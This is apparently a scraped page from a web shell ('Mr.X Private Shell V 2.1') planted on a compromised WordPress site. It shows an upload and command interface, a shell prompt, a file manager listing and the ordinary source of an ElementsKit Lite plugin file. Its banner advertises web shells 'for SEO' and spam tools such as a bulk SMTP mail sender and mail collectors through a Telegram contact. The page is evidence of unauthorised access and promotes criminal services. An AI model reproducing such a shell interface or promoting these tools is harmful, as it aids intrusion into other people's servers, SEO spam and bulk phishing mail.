__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace ElementsKit_Lite\Modules\Widget_Builder;

use ElementsKit_Lite\Modules\Widget_Builder\Controls\Widget_Writer;

defined( 'ABSPATH' ) || exit;


class Widget_File {

	private static $instance;


	public function get_file_path() {

		$uploads    = wp_upload_dir();
		$upload_dir = $uploads['basedir'];
		$upload_dir = $upload_dir . '/elementskit/custom_widgets';

		if ( ! is_dir( $upload_dir ) ) {
			wp_mkdir_p( $upload_dir );
		}

		return $upload_dir;
	}


	public static function load_filesystem() {

		require_once ABSPATH . 'wp-admin/includes/file.php';

		WP_Filesystem();
	}


	public function create( $wObj, $id ) {

		self::load_filesystem();

		global $wp_filesystem;

		$writer = new Widget_Writer( $wObj, $id, 'elementskit-lite' );

		$writer->start_backing( $wp_filesystem );
		$writer->finish_backing( $wp_filesystem );

		return true;
	}


	public static function get_wp_filesystem_pointer() {

		self::load_filesystem();

		global $wp_filesystem;

		return $wp_filesystem;
	}

	public static function instance() {
		if ( self::$instance == null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}

Filemanager

Name Type Size Permission Actions
api Folder 0775
assets Folder 0775
controls Folder 0775
fonts Folder 0775
views Folder 0775
cpt.php File 2.04 KB 0664
init.php File 4.56 KB 0664
live-action.php File 1.64 KB 0664
widget-file.php File 1.12 KB 0664
Filemanager